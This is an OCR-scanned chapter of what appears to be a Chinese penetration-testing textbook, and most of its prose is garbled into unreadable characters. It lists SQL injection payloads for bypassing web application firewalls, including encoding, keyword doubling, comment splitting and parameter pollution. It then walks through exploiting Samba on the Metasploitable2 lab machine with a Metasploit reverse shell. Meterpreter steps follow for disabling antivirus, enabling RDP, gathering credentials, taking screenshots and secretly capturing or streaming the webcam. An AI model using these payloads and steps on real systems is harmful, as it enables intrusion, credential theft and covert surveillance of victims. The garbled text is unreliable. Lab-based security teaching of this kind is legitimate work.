Kb ZZARENWAFB I LIRERMILRATR BT, EREREAB
o, ERREHES, —REURNXILMER.
o MINSEERTIEEI (intval) .
o A S AERMGN.
o ERENAT (SQUNMT. TMAESR. dHiTE) B, NETREREN
ESt TR,
o XIS TE TR B R EHTRISTE (/BT T

#

WILRARENWAFSWSENRES, e SISHR rEER
T, slAE/DRRR SRR,
4.13.2 WAFFIiT
AN ERNBHIRTN UL EEFEWAFRY LT,
1.SQLMap
EASQLMap+ BHHIWARRBIESRAT USRI HWAFRIRPZE, BRUNSEME
TEERWAFHESEHAEHE, SQLMapsi HaEIRSIHZERI 2 Generic.
TEUEELTER/F], ESQLMapt@ALITH<, SRUNE4S-125/7.
T sqlmap.py —u "http://xox.com”"——identify-waf——batch

ﬂﬁﬁ%ﬁﬁﬁ%"ﬁﬂ»mwn-}_
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BE4-125 FASQLMapiR5IWAF
[ LABZIRBIHWAFFIZERI XXX Web Application Firewall,
EHE 7 ERFEINRBIMA T I EESQLMaplIWAF B R FAUEXIIA, thal
PUREREHRER B ERIIFHOWARRBIFIN, SN aEENEIWAFB R D
a

2.F THIKr

XANMBEREE, BEEEENMSAURLEEN EREMATES,
union select 1, 2, 3%23, FERE—FENEHEF, AFIBEEENESH
aaa, WIE4-126ff7=, A 7 WAFRIBAIR, FrLARUSZZIEWAF.
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) 127.0.0.1

5]

ZM TR IERIEF

127.0.0.1 F 4 {30l

El4-126 WAF=E, TiEZER
RX BRI T — MEERN S, LIRS ML RS T s
BRAHISAR, B =B B FEWAF,
WEENZEIA (BT THENEESR) - RELEnnE. ENEA
O N SE ST 24 T A N =
4.13.3 —ESWAFIISET 534
NS EBENESQUENRRISY ik, ERimRIIWAFSSY ik RE
BEE=REM.
1 XNERE
FERRIPLER RS R TR EAS IR/ NSRS R, EL&Fa BT RAKX
NSRAHTEY @ LFEESEXENER) . WM.
uNion sElEct 1, 2, 3, 4, 5

mﬁﬁ%mﬁMW"mﬁ»mvn-§__
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2.URLES
o RIS HIWAFARSIS BB F R TURLEFRS, W N7s.
union select 1, 2, 3, 4, 5
BB me I RS,
%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%31%2C
%32%2C%33%2C%34%2C%35
o FE—TMERFEURL XGRS, WAF—RRRBHTIER, mAEExR

* Web RSB HHT 7 EWNIURLERRS, BIEIT4T.

union select1, 2, 3, 4, 5
BB me I RS,
%2575%256E%2569%256F % 256E%2520%2573%2565%256C
%2565%2563%2574%2520%2531%252C%2532% 252C%2533%252C
%2534%252C%2535
3 BT
WAFKFEaEERERselect/unionXESURSEIRIRAR, 1R R IUE—
RUREZ 75,
union select1, 2, 3, 4, 5
FiRan SN RS,
unuionion selselectect 1, 2, 3, 4, 5
4 TR
TEREENSQUEATRAEHRS, AFRYWAFR TEFFAEERSIE (/1E
BEREY) | EETRITERRE R ERE 7 TREIWAF,
Union select 1, 2, 3, 4, 5
FiAan SR A PR,
union/*2333*/select/*aaaa*/1, 2, 3, 4, 5
Ee LA FRTE S RN BN ES EREER S5 WAFRIRE T,
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5.2 24E MRS
NTENM2HPHERIR—FSQUEAPINER, AILUSTENETSIREN.
HIAIEKURLES, GET24540 &L,
a= [inputl] &b= [input2]
EGETH S a2 bHHERISQLIEAH, SQLETU M.
and a= [input1] and b= [input2]
XA LS NEQ TS, .
a=union/*&b=*/select 1, 2, 3, 4
BRI 2HaMSHbIHE, BRNSQUETW Mhr.
and a=union /*and b=*/select 1, 2, 3, 4
6.HTTPE&E s
HTTP2ESREESR—2HHNEZIR, ARlEESEr ARG
B, BE{f0FE4S- 18~ (flF1L 2% color=red&color=blue5fil) .

=4-1 HTTPE&I55

AR 95 2% o 8] 7 MR ES R HHiteA
ASP.NET / 1IS T I 2 R S e color=red,blue
ASP/ 1IS BTt LAY & R qH G S e color=red,blue
PHP / Apache {am J5 — I LB B color=blue
PHP / Zeus {55 Je — o B2 Bl color=blue
JSP, Servlet / Apache Tomcat {55 — U H L 2 B i color=red
ISP, Servlet / Oracle Application Server 10g {5508 — U HH L 2 M color=red
JSP, Servlet / Jetty {5 505 — U HH 2 i color=red
IBM Lotus Domino 0 Ja — B2 B color=blue
IBM HTTP Server (55— e 30 5 Bl color=red
mod_perl, libapreq2 / Apache {5058 — U H B & i color=red
Perl CG1/ Apache (05— Ui B & Mefi color=red
mod_wsgi (Python) / Apache {550 — U L B 2 M color=red
Python / Zope LN List color={"red', blue']
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FE ERERIRFEES, ISHRESZHAE, T EESEFHESHSQLET).
EEANFEZS, NRWAFRIGH 7 B2E+hHNE— Sga—", FEHEk
FHEEFESWARERISE, Nalpithssd. TELAISHA], —RRAISQUENES]
Ui

Inject=union select 1, 2, 3, 4

KSQUENEGEEALITER.

Inject=union/*&inject=*/select/
*&inject=*/1&inject=2&inject=3&inject=4

BLEAEISHENNZHERI M.

Inject=union/*, */select/*, */1, 2, 3, 4

7 AR

FERARRAERENNRE, FEREENFERpolygon () REEiR
EAfupdatexml () E#, M.

SELECT polygon ( (select*from (select*from (select@@version) f)

X))
8 S RuLIFuLIP

NTEEWAFPHFRIMEGmS, REHEIMusHYIPHhE, #AfmimidIPi[ak
i, BeJLASE ZZ WAFRJRER.

B IRSERLL PR GEE FEX L.,

o SHMULNHEEMCR.

o ZPMAEXEpingMih, EEIPEFIGEE.

o RSN —ZdEA. NS, MXICREXIRAIIP,

o L AMAER, EERMEAIXANIP.

9 FNEHFcookiesT

R RERISPEERES REQUESTIRENZE], m$ REQUESTRMORMGET/

POST/cookieFiREN2E], MNEWAFREN Y GET/POSTiizAEMlcookie, BILUE
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5.1 Metasploitf&if»

Metasploit2 4FI{ER =2 S2EMAMFERMTIANE, E=2EE T
BHZEMA A, JLFFREMTIRERAE IS Metasploit, TEMetasploitiE
ARG FNTEEEAE—. AETRIAILIKali R ERG AR, 2R
ESTEMetasploit R EE HiaflE=F T E. KaliZ& Mt ohttp://
www.kali.org/downloads/.

MetasploitiEZ® (Metasploit Framework, MSF) E—JHF1E, EEH

S ESEUR, CEMRubyRFESRESNERWESR, BERTNT R, T35

ML AR A, SEREESIN T ES0MR.

Metasploito] [Efain bR SR AEREEINSATED (iEsE. Web,
CLl) . #EFEBEER&EO, BdiEsaEO, (RelLinafnsERREMetasploitl
¥4, fBl0Payload, AJFEIELR, PostiEthE. MetasploitifG®E = HizFFAUEL, I
WNmap. SQLMapZ, oJUBEAEHGREOEGEHE, BHoZAH, FEEmSIT
g Amsfconsole, MSFRIEEIHF®EIES-17~.
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http://metasploit.com

Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploi

1619 exploits - 919 auxiliary - 279 post
loads - 39 encoders - 9 nops
=[ Free Metasploit Pro trial: http://r-7.co

E5-1 MSFRIEEISRE
MRS : EERKalBMERANNIERNENER, G ERAEHRTH
App—MEHE. EFrdpSHapt-get update, apt-get upgradeflapt-get dist-
upgrade.,
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e apt-get update: REFUHBENZESEF, FRERZFINZEGEHZESI
B8, MMtz FEs.
e apt-get upgrade: FHRESR P RENEYEE, SEMFW, FLtEN
BEFEER AR
e apt-get dist-upgrade: FEREEPMLinuxZSe, HRIMKali Linux 1.0.17+4%
FlKali Linux 1.0.2 (MYBEBEHEBECZENREE, mMEBSEA ST IE+FolEE
HINZE bz, BEERT, BRSSO HARIREREATRS) .
5.2 MetasploitEH]
5.2.1 BIAE

MSFIEZEHZ MEERARL, B MEREEBRRITHEENT.

1.Auxiliaries (HEBDfELR)

ZiERASHEREUEE BB AR, BiRGaEhTEH. B
R, 158055 IZAEXThEELAERN B E M.

2.Exploit (iRiaHIFEiELR)

AN AEEREENAEN A 5. NASERSTNLZERRET
WEHTA. MTNZERGERASRE I XiEH., WebNBi2FIE, IUINABEE
2%, HPgaBdEdilil A RN RSP HESRPOCKITER, A
TR RAZ2MNIGEENRE, S8 1NeREPEENINSEHARE.

3.Payload (HhEfariELR)

KRR E BIR R R 3BT 2[R oL iR EER SRS, AR
ngEBira, BT EERES LT IEa<SHEITSENRS, EMetasploitiE
PAhRIP B iihEE, EEFIEA. WEEGhJEER Rt BN ERER LiviT—
S, WRIMARKSE.

4.Post (GEBZEELR)

ZiEh T ERETENERRESRERENG, T RZNEEEREL

1F, WEREBUREE. SChEBT.



5.Encoders (4Ri2 [ Ei&Eth)
ZERESENRPRESR, DI ESTE. BidE. IDSHELRZE
2RISR,
5.2.2 BEWETER
SEFAMSFZENhAERT, AJRAGERLL LSRR, XX ERRAH TR AT
&, AEHIZEM .
o HEBEHRNES, SHKaIHFRE.

V;l' o~ o IEEHECE— B EA AR,

o o EIHERE N IGEE IR,

% o R MNEISIAR, RS FRERHNESR

o f%%lﬁa-__lo

B "EBCBERLR ESFNEINE, BIIBSAE 77 MSESBIRENIER
W RR, FEES—RSRNEERE,

& 5.3 FHIFE

% HigKEEEEZENHETNE—S, EXrEaREREES A IExE
i BNER. RENEEEZ, BENERSEA. 12BN TFECTAE8iRE
% Pt BIFEERSS. FIHUSCZ.

fg 531 BRI TR

?\zﬁw HBEEEMetasploitlINE &L, H5oAHsearchinSiEREMLE D] Hin

T DOk, Es-2fw.
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%

E5-2 sl
MEI5-2F e AR BEAREEESIE, Hhaa v SMamEs, T
TCPIfREREA,
i \usedp SRR ERIZmAN BELR, FEHshow optionsSEEREIR
B2, WESs-3f7r.

BE15-3 {FERREEHER
fERequired?, #HIRCHyesHISHNABELIMIE, HPRHOSTSIRE
FREIPHbhE, PORTSIZEIFMIR[SERE. THREADSIZEIFREIE, KiZdiEi
=, HRENEE#SZ. Hi)ERsetmSIREENNSH, tBolliFRunsetinSEIEE
NEHERRE, NE5-4F7.



El5-4 1sE55

BJAEZ, Bt 139, 135, 445=" iz,

RS HSOAEmED)ikmS——setginSHlunsetgins. —ERTE

msfconsolePigBHEEHIRELEMHNLHE, NMmEEESHNEENE.
5.3.2 (EFHEBEDNHTIRSSITE

HFEBmEE DeiRIRSE, BRMETRSHEERACIALER, Fiin
Ny VNC, FTP, SMB%, REMITREXREMNFme LURIIIRSS.

Bidsearchin$EZEscannera] LUZIIASHIF@ER, BNEEZ=EHAR
RSN, THRERL. CFRANSRSERROTHRERNINEAER, XEH
NaEry, M E—EEma0iamEt, Rs5-1A7r.

#=5-1 EENSEERNETIRE

Eﬁﬁ%ﬂiﬁ%“ﬁﬂwmvns}
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wm R I [
auxiliary/scanner/portscan i 448
auxiliary/scanner/smb/smb_version SMB R &AM
auxiliary/scanner/smb/smb_enumusers SMB B3¢

auxiliary/scanner/smb/smb_login

SMB 5114 14

auxiliary/admin/smb/psexec_command

SMB 5t H AT fr 4

auxiliary/scanner/ssh/ssh_login SSH G i st
scanner/mssql/mssql_ping MSSQL EHLE 244
admin/mssgl/mssql_enum MSSQL H2E
admin/mssql/mssql_exec MSSQL #4474

admin/mssql/mssql_sql

MSSQL fif)

scanner/mssql/mssgl_login

MSSQL i 114433

auxiliary/admin/mysgl/mysgl_enum

MySQL Fr#é

auxiliary/admin/mysql/mysql_sql

MySQL ifi ) fr

auxiliary/scanner/mysql/mysqgl_login

MySQL #4114 H14

auxiliary/scanner/smtp/smip_version

SMTP fifi 4414

auxiliary/scanner/smip/smtp_enum

SMTP Hi#s

auxiliary/scanner/snmp/community

SNMP 14 i &

auxiliary/scanner/telnet/telnet_login

TELNET {f#

scanner/vnce/vne none auth

VNC 04 886

5.3.3 EANmapidfE

HEMetasploithERALAERNmapiaf, NmaplUEiEEREIEFEE M
P, BAMYEILARREE BN B SNINERRE, mE L SIERE
N ZmEE RO, REE. REEENmaplIEEal AR N ARBEER
A

mﬁﬁwmmMW"m%»mvoag

SERREEFRRY, EmsfinSIRT MiiAnmap, Fie]LIBmNmapiR{tiYiFiE
AR, WIES-5Fh.
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nmap.org )
[Options] {target s

; 10.0.0-255.1-254

E5-5 NmapZ#8
IR ERE BT E RS, #iAnmap-O-Pn/-p0 URIGS, Hep
Pnfl-p0 (315F0) 2HNEBENEHpinglUAH, MBEBERE N EREREN
B, BILAZEERXE, el UBasB &R, WES5-6F.
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E5-6 ZGarE

BB BN ERZEEWindows 2012|7]8.1.

5.4 j@iRA A

FMNRMERFHLFESTNBug, BWindowsiXHEMININRIERSE, X
NEIREITA XX EBugsimiRRVAN T, FEOORPRIELESN. SHAEAENH
HARARSRLGAMATL. #HFRFBug, XE&E AT HBugstErmEN
Odaylsid. T XmENMNEZLEBE RN, FitodaymRbMAEENE
=, Thr B ERdayimRINEE /> T /b,

HERABIZEXIAINBugE IR NN T, (BEE MIESNEATHFE
5. Z2EESNNABPSEHNMUESREXETIE, BSHNEERNAEH, N
T RMRRSEETHN T S EHES, AN WP R BIEFHIE, WA
WERsEHEEIRN T BN TIEE, BERITHNT 3@ TR ERANEEM=
E—MRRN RE .
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TEsERg Bl EMetasploitable2, XFLinuxd/lesH TEERE.
Metasploitable2 EIRAE—MSBIGWERIUbuntulERSR, TERTXZELTEN
HAERENNRRREG. ZEMRSEFREVMware, VirtualBoxFIEfBEMTFE, B
INRFE— NIRRT B F SNATRIHost-Only. 1Z T EalLAfERMIEhttp://
sourceforge.net/projects/metasploitable/files/Metasploitable2 &,

BEXLinuxBirlit T, BWETBRRSER. EANmapidEHESs
R s OFEXIN FRER, AIE5-7R7N.

asf » mmep -s¥ 192.168.172.134
[*] exec: nmap -sV 192.168.172.134

Starting Nmap 6.47 ( http://nmap.org ) at 2016-12-13 83:26 EST
Nnap scan report for 192,168.172.134

Host 1s up (9.660082s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp  open ssh OpenSSH 4.7p1 Debian Bubuntul (protocol 2.8)
23/tcp  open telnet Linux telnetd

25/tcp  open satp Postfix smipd

53/tcp  open domain ISC BIND 9.4.2

B8/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100009)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open notbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

813/tcp open login?

S14/tcp open tcpwrapped

1899/tcp open rmireQistry GNU Classpath grmiregistry

1524/t ¢cp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #166603)

2121/tcp open ftp ProFTPD 1.3.1

33065/tcp open mysql MySQL 5.0.51a-3ubuntud

5432/tcp open postgresql PostgreSQL DB 8.3.6 - 8.3.7
5968/tcp open wnc VNC (protecol 3.3)

6608/tcp open X11 {accoss denied)

6667/tcp open irc Unreal ircd

BGG9/tcp open ajpl3 Apache Jserv (Protocol vl.3)
B8188/tcp open http Apache Tomcat/Coyote JSP engine 1.1

El5-7 HIkRAEE
WERBMUWEXEERE, NEEFEIERNEXploitil&EHIPayload. M
ERPEIIHiziTESamba 3.xIES.
SambaZ7ELinuxFIUNIXZ S ESLHISMB (Server Messages Block, 58
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WWW. qlanani. com
IRSSHR) MNYE—ReESE. SMBE—FEREM_EHEAFNF TEINANESH
W, EEREMAEALInuxdIWindows KSR 882 BRI TEDN S &R
=R,
#I A msf>search sambam<$iEZESambalJimaA BiELE, FHEFESENR
TARIFAIELR, ANE5-8F 7.

msf > search samba
[!) Database not connected or cache not bullt, using slow search

Matching Modules

Neme Disclosure Date Rank Description

auxiliary/agmin/sab/samba_symlink travarsal normal Semba Symlink Directory Traversal

auxiliary/dos/samba/\sa_sddprivs_heap normal Samba 1sa_io_privilege_set Heep Overfl
Ow

auxiliary/dos/samba/1sa_transnames_heap normal Samba 1sa_io_trans_names Heap Overflow

auxiliary/dos/samba/read_nttrans_ea_list normal Samba read_nttrans_ea_list Integer Ove
rflow

euxiliary/scannar/rsync/modules_list normal Rsync Unauthenticated List Command

exploit/fresbsd/sanba/t rans2open 2603-04-67 great Samba trens2open Overflow (*8SD x86)

oxploit/1inux/sanba/chain_reply 2810.86-16 good Samba chain_reply Memory Corruption (L
inux xB6)

exploit/linux/sanba/1sa_t ransnanes_heap 2007-85-14 good Semba 1sa_io_trans_names Heap Overflow

oxploit/linux/sasba/setinfopolicy_hesp 2012-84-18 normal Samba SetinformationPolicy AuditEvents
Info Heap Overflow

exploit/1inux/samba/t rans2open 2003-84-07 great Samba trans2open Overflow (Linux x86)

oxploit/multi/sanba/nttrans 2003-84-07 average Samba 2.2.2 - 2.2.6 nttrens Buffer Ove
rflow

exploit/multi/samba/usermap_script 2607-85-14 axcellent Semba “usernase map script” Command Ex

E15-8 {#F&SambafVimiEFI BiER
AIaSambafRSSiGIR BRI FEEENZIZE, ZRESNRREH BRIHRE
IS EHTHER.
A Bexploit/multi/samba/usermap_scriptifRic/8 “Excellent” , BI&AR
HmEMBIEEHN, HIEESEAIIER, XEEFIERIHTIE FRINSE.
BX BN EE LB NES - m S EA.
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msf > info exploit/multi/samba/usermap_script

Name: Samba "username map script” Command Execution
Module: exploit/multi/samba/usermap_script
Platform: Unix
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent

Provided by:
jduck <jduck@metasploit.com>

LAY Available targets:
W Id Name
e 0 Automatic
b
=z Basic options:
Name Current Setting Required Description
2
BLig RHOST yes The target address
W‘j RPORT 138 yes The target port
= Payload information:
ﬁ Space: 1024
iE
| BE5-9 EEERANERES
il EPNY O N IR FES=E A )2 i
=
Msf> use exploit/multi/samba/usermap script
&% i
g RIEeILAEEIMetasploitdb SRR G msf> 2 plimsf exploit
~oon (usermap script) >.

{EFNES-10F A< Bl o Ea 1 Zimian] s R o SRR
B, BAEHFRELnuxtleE, Eilb—EEEELinuxBIBEETE.
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B5-10 BT
XE(FERINES-11 il SR cmd/unix/reverse ;2 RIS AR

1,

msf exploit{usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse

E5-11 IR EERR
BT FENIPHEHE, 590 N
msf exploit (usermap script) > set RHOST 192.168.172.134
REREANANROS, < M.
msf exploit (usermap script) > set RHOST 445
REANGENIPHENE, &SRR~
msf exploit (usermap_script) > set LHOST 192.168.172.136
RESE O LMERAES- 1 2GS B RASH RS CIREIER.
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msf exploit( ) > show options
Module options (exploit/multi/samba/usermap_script):

Name  Current Setting Required Description

RHOST 192.168.172.134 yes The target address
RPORT 445 yes The target port

Payload options (cmd/unix/reverse):

Name  Current Setting Required Description

LHOST 192.168.172.136 yes The listen address
LPORT 4444 yes The listen port

E5-12 B RsEa

RETESHEER, BANKEd<exploitsiErun, MTMrR, AZaIK

£t

msf exploit (usermap_script) > exploit
MSFARIEHANE IR B RENAIShell, T HIEZShel 2BHRE
1, SILERENE. BREMIPEit, FSBERENHTIILE, ME5-13F7r.
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msf exploit( 1 = exploit

Started reverse double handler

Accepted the first client comnection...
Accepted the second client connection...
Command: echo ahGOyaxkfNjPXSA4;

Writing to socket A

Writing to socket B

Reading from sockets...

Reading from socket A

A: "ahGoyaxk fNjPXSA4\ n"

Matching. ..

B is input...

Command shell session | cpened (192.168.172.136:4444 -> 192.168.172.134:56962) at 20816-12-13 85:47:18 -85068

hostnane
matasploitable

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 16 13:58:00 UTC 2008 1686 GNU/Linux

ifconfig
ethé Link encap:Ethermet HWaddr 80:0c:29:fa:dd:2a
inet addr:192.168.172.134 Bcast:192.168.172.255 Mask:255.255.255.6
inet6 addr: feBO::20c:29ff:fefa:dd2a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1568 Metric:l
AX packets:3588 errors:® dropped:® overruns:® frame:9
TX packets:3245 errors:® dropped:® overruns:8 carrier:@
collisions:® txqueuelen:]lB6®
AX bytes:273891 (266.6 KB) TX bytes:404892 (395.4 KB)
Interrupt:19 Base address:Gx2000

El5-13 BeHBmRE

BaEERfE, eI EREREEN MBI BSEY— M ShelliEE, 35
Windows ZARNTHESE, —UZERI 2 EINRIRF BB EfEER A —
. BB =l SiExploitiiPayloadfV4E4&, LUNIRERRE.

B5iEAAE: SambafRSimRAEESambahiiAs3.0.20 ~ 3.0.25rc37, L4{FEH
JEERABFBMSHARERN, BUiEE—HAPBEaShellt=fF, WEHEALUA
TEEHS. ESambaFREISFRAB eI B EHARR.

5.5 E2ElTE: EEME

RIS BBt BEmail ol LMSHA? Metasploiti2 it ¥ — N FEE52
AHEZEEIER Meterpreter, %1 EEFZENEE, FRENEENETEERR
5. KRB EFAIMeterpreter Shellfg, FtiHN T MetasploitSiglE A2 EAIF
FER, [SHEEEERT20081, MeterpreterGLL MEE.

o MNEFTFESR, AEENHEHTHIE NIRE.




o EFNNZNEEIMY, MmBRILERSI I MEERE.

o EIEHIER T1F, ARECIEFRIHE.

o ST HIEZEITR.

o T&EH, EMTWindows, Linux. BSDEZE, FH37iIntel x86fintel
x64F &,

AN B ITH BMeterpreterfiif G2 ENEE TIFNKERAZEER
FIEUE.
Y 551 HEER

FERIEKEMeterpreter Shellf, ZShell ERERRSSHIZZIER, Hlnkds
o] BN RREGE Bines, (BB 2EaNEEsar e A . RIS
—SHEEFEHX Shell, BEHMBIIF—MREINHESEE—IE, MAREX
HERHTHISNIRE. XS 2 EE R,

B\ psinSHEB BtMLIEEETRIHE, WES-14Fk.

—-%Eﬁﬁ)lﬁ}ﬁmﬁﬁ%" TEDW oo =



'{ EREMEENWE" FFhicoe = }.

El5-14 FEN BT DETRhEE
i\ getpidipSEEMeterpreter ShellHES, WE5-15F7R.

meterpreter > getpid

Current pid: 984
E5-15 E5#ES
o] &S |Meterpreter Shelli#HZAIPID 984, Name138.exe, ASFHIN
migrate 448455 1EShel #513PID 9448 JExplorerexeH 2R, RMZHEE—
SERIN .
TRHETIEG, BREI\getpidinSEEMeterpreter ShelllJiH#HES, &
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HIPIDEE3ERY 448, 1HBBEEMINITREEExplorerexe i2E, HE5-16F 7R,

meterpreter > migrate 448
[*] Migrating from 984 to 448...

[*] Migration completed successfully.

meterpreter > getpid
Current pid: 448

E5-16 #HETH
HIEITESoR/a, JRSEPIDAYS4HHESERIKA, WEEEaaIXAa LA
kil 9844S “Fig" 1ZHE. FREEINTEHIE®S (run post/windows/
manage/migrate) 5, RA-EMNSHAEIHERAGTE, WES-17f7r.

meterpreter > run post/windows/manage/migrate

[*] Running module against WIN-57TJ4BS561MT

[*] Current server process: 138.exe (1808)

| Spawning notepad.exe process to migrate to
] Migrating to 308

] Successfully migrated to process 308

.

|
i
i

+
+

E5-17 Ban#mEEiTt s
WE5-17F7=, Z5ELaaHEREPID1808ATHIZTEEI308,
5.5.2 Z&HmS

RETIRENHER, BETREERRER
SN\ sysinfomnSER BIMNERRER, WJQIJ}%J’E AEAARE, ME
5-18Ff7m~.
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er > sysinfo
: WIN-57TJ4B561MT

: Windows 7 (Build 7601, Service Pack 1).
Architecture : x86

System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows

E5-18 EBERAER
#i\run post/windows/gather/checkvm#s S E Bt L EEiETERE L
., WE5-1987.

meterpreter > run post/windows/gather/checkvm

Checking if WIN-57TJ4BS561MT is a Virtual Machine
*] This is a VMware Virtual Machine

El5-19 E5ESHENWL
SJLAERHAIBUBETE—VMwareEIIHL E.
NEREBIMESIEDET, BiAidletimem< /Gl AERBiM&LRNE

178418, ANEI5-20f7R.

meterpreter > idletime

User has been idle for: 29 mins 16 secs

El5-20 ESIETRIE
SJLAERIBiIEEE T, MEEET 72951168,
EEB A route SEFBEMENNSBIRE, WES5-21F7mr.
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3.172.149
.172.149
8.172.149

0.1
172.149

0.1
192.168.172.149

E5-21 EERENERE
Britbzsb, BILUSA background @S EHRISIEREIIEE, HHdEaES
MMeterpreterEAIHE TMER. KL getuidn S EFLURIBIMIE LESS
ERIHIAFE, MES-22/7.

El5-22 E5=EHIR
E&#Arun post/windows/manage/killavin$ XA BRI R S RS T4,
WNE5-23F 7.
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1523 XARS R
#iA\run post/windows/manage/enable rdp#i<BalBiHANTESETH

¥, BEERIR3389%0, AES5-24F7x.

E5-24 ERiTiEEE
aJLIER, BB SE] 7 itiESEm.
SJSHIArun post/windows/manage/autoroutein S EE Bin LAYA LT
PSR, ES-25 .

B5-25 EEMEEH
EETEER, SN backgroundin$iESRTMeterpretert R infSREITa
&, REiAroute add@<RIMNEEH, RINAIIEEAroute printte$EE, BfdE
YERNE5-26F7m.



éﬂmﬁ%%iﬁ%HQQWWVn:}

meterpreter > background
Backgrounding session 1...
exploit( ) > route add 192.168.172.0 255.255.255.0 1
Route already exists
exploit( ) > route print

Active Routing Table

192.168.172.0 255.255.255.0 Session 1

B15-26 iRhEEER
S LAER—SRIiE9192.168.172. 0MES H E S INEI EBPA N A Bk
t, REHE] S BERI S BB T 7.
EAHB A\ run post/windows/gather/enum logged on usersis$7Z324a1
BZ/LVREPERT B, MES-27/7.




E5-27 FIEHEIEERER
A AERZR S Bshuteer, test. Administrator=""FF, A
AdministratorBEIESR 1 Z4.
FIETHRPZE, &4 Arun post/windows/gather/enum_applications
S PNEEE BRI RN FEER, WIE5-28Ff7.

merating applications installed on WIN-S57TJ4BS61MT

E]5-28 FIEEN FEER
RBZERIBATENIRENENER, MNEX < BB IERNE
FPE2F0%8, WE5-29F7s.

r > run windows/gather/credentials

Running against WI

The Host WIN-57T7J4

B15-29 MENE HB R SRIEE
oUED, YEnSEAUHIEE. KRS ERE FEiEtEspia, HFHEH
Ziei\load espiadpSINEZIEEE, AT\ screengrabis$Hia] LUMBULES BfR
NNEEEE, NES5-30f 7.

?ﬂmﬁwmeM"m%wmvos}
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El5-30 ME B RESRR (1)
MBI SRRAERR T — N2 90/ UEbgqiNELE, 7 ErootBRT. XEiH
Ascreenshotan S el LUAZIERAE, WE5-31F 7.

meterpreter > screenshot
Screenshot saved to: /root/LJLGGEjXx.jpeg

E5-31 MMEFNREEE (2)
TENENEFGS, EEEMIERERELNHSIwebcam list,
S0El5-32F 7.

meterpreter > webcam list
1: Lenovo EasyCamera

M5-32 SRS EEEEGL
EaB A\ webcam_snapasSHITTEMEGESL, 18—3KERRH, AES5-33f

meterpreter > webcam snap
[*] Starting...
[+] Got frame

[*] Stopped
ebcam shot saved to: /root/EfintZMs.jpeg
meterpreter >

El5-33 MEUR&LAIR A
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BRI R ENBERF AT EcotBR N, BIWITHES, WE
5-34F7r.

EfintZMs.jpeg [-NC N -

Properties x

640 = 400 pixels
JPEG image
6.8 kB

F5-34 EEHERRIERH
iiAwebcam_stream@SEEARCUHSEREELR, E5-35F7r.

meterpreter > webcam stream
[*] Starting...
[*] Preparing player...

“] Opening player at: KzIDymVy.html
*] Streaming...

5-35 HMEAIER

FENISSRE THT EE4A tHAtehE, 2NEI5-36/7r.



{Eﬁ%%%iﬁ%“ﬁ%%ﬁvnS}

Metasploit webcam _stream - 192.168.1.179 - Mozilla Firefox
Metasploit webcam_stre x| $
file:///root/KzIDymVy.htm T8 9
) Most Visited v Jlj Offensive Security "\ Kali Linux "\ Kali Docs S\ Kali Tools BExploit-DB W Airc

Target IP 192,168.1,179
Start time :@ 2017-05-18 08:06:16 -0400
Status Playing

El5-36 ESTMEEIIER

EeILUg A\ shellazSHA Bist/lShel R, 21E5-37F7r.

preter > shell
Process 1996 created.
Channel 2 created.

Microsoft Windows [éi# 6.1.7601]
$OEQe06 (c) 2009 Microsoft Corporationéeeee06666C6666

BE5-37 B\ BintlShell
Saifi\exitinS{E1EMeterpreter2iE, WES-38F 7. &SR BTE
1EShell&iEFHiREIMeterpreter.,



%mmﬁWﬂiWM"ﬂﬂwmvns}

meterpreter > shell

Process 1996 created.

Channel 2 created.

Microsoft Windows [€i8 6.1.7601]

GOEGe0e (c) 2009 Microsoft CorporationgééeeeeeeeCeeeé

C:\Users\Administrator\Desktop>exit

E15-38 iEHShell

5.5.3 MHRGHS
MeterpretertBi>ZiFZM VA RADS, BT ERUHHTESIMESS, fi
BREG. MU EIMBRE, EkigEtRBme. SRS RE
YERAN M.
e pwdiigetwd: EFLARMTEIMIFBNER, WES-39F 7.

meterpreter > pwd
C:\Users\Administrator\Desktop
meterpreter >

E5-39 ERRMINLIER

o getlwd: EFHFRMTAMHEBNER, WES5-40F7~.

reter = getlwd

E5-40 EEFIENSEIESR

o Is: ZIHAIERPRIFTESNE:, MES-41F7.



{mmﬁwmeM"m%»mvns}

E5-41 Ft a1 B ReRRF A
o cd: EHR, E5-42f7.

meterpreter > pwd
:\Users\Administrator\Desktop

metergreter = ) oo B o0

meterpreter > pwd

[

E5-42 B R
e search-f*txt-d c: \: FJLUERCETRBLL “txt" I EZNE, H
h-f2HETEEEERUHER, Jd2HETIEEER N ER MNHTIEER, NE5-43F

o

1543 {@ e
e download c: \test.txt/root: F&BirCEAJtest txt {42 F root
T, WE5-44ff7r.



-~ > download c:\test.txt /root

downloading: c:test.txt -> /root/c:test.txt
download : c:test.txt > Jrootfcitast txt

E5-44 TEIE
e upload/root/test.txt c: \: HEIEFHrootER FMitest bt MAFEI BN
CET, WMES5-45HTr.

sterpreter > upload /root/test.txt c:\

uploading : /root/test.txt -> c:\
uploaded : froot/test.txt => c:\\test.txt

5-45 HfE304

A FAGSHERCHBTENBIRL, ILBREEZXTEMIIEE.

MeterpreteriAAEEZ N HEZS S, ENIEESINER.
5.6 o ElE: BUREH

BE, WE2EIRPREIERE T — 1M ESGuestFUserffR. 15
RIS REBIEERAIZ IR ZARS, EStietER 2EaE RIS REE. £+
VRS EEBRRMR, Sioi AN Hash, 20, (ESERMERNIFIES
RESZIMRE, UGS S BRM GusetiEF-ZlUser, BZE|Administrator,
=afSystemZzl.

BENERZBNR2RIESSENESIER, BIWindowsi#FRSHEERRMK
SHIRBR, SLinuxiE{FRGFrootikPRIBSR. FEABPRAISTNS ALATEZE.,

o AR EAURBEKESIURAEISIR. fidl, —WebShell SR
BRI ERE 7T EERISER, BRAXTHESGREMN RN, BARIEBIRAHR.

